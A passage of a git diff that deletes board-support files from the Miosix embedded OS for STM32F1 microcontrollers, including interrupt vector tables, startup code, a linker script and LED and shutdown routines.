I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp.cpp deleted file mode 100644 index 32274e74a..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,137 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN; - RCC_SYNC(); - _led::mode(Mode::OUTPUT_2MHz); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index 01240fd14..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -///\internal Pin connected to SD card detect -//TODO: no filesystem typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -/*TODO: no filesystem -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -}*/ - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/stm32_128k+8k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/stm32_128k+8k_rom.ld deleted file mode 100644 index 40711f37b..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/stm32_128k+8k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (128K FLASH, 8K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/core/stage_1_boot.cpp deleted file mode 100644 index ff4624415..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/core/stage_1_boot.cpp +++ /dev/null @@ -1,312 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32 medium density value line devices ONLY (64 and 128KB devices). - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) TIM12_IRQHandler(); -void __attribute__((weak)) TIM13_IRQHandler(); -void __attribute__((weak)) TIM14_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_5_IRQHandler(); -void __attribute__((weak)) DMA2_Channel5_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - CEC_IRQHandler, - TIM12_IRQHandler, - TIM13_IRQHandler, - TIM14_IRQHandler, - 0, - 0, - 0, - 0, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Channel1_IRQHandler, - DMA2_Channel2_IRQHandler, - DMA2_Channel3_IRQHandler, - DMA2_Channel4_5_IRQHandler, - DMA2_Channel5_IRQHandler, - 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, - reinterpret_cast(0xF108F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x High Density Value line devices. */ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak TIM12_IRQHandler = Default_Handler -#pragma weak TIM13_IRQHandler = Default_Handler -#pragma weak TIM14_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_5_IRQHandler = Default_Handler -#pragma weak DMA2_Channel5_IRQHandler = Default_Handler - diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/bsp.cpp deleted file mode 100644 index 89761d50a..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,137 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN; - RCC_SYNC(); -// _led::mode(Mode::OUTPUT_2MHz); -// ledOn(); - delayMs(100); -// ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/bsp_impl.h deleted file mode 100644 index 9e464ecb7..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,82 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -//TODO: add led pin -// typedef Gpio _led; - -inline void ledOn() -{ -// _led::high(); -} - -inline void ledOff() -{ -// _led::low(); -} - -///\internal Pin connected to SD card detect -//TODO: no filesystem typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -/*TODO: no filesystem -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -}*/ - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git 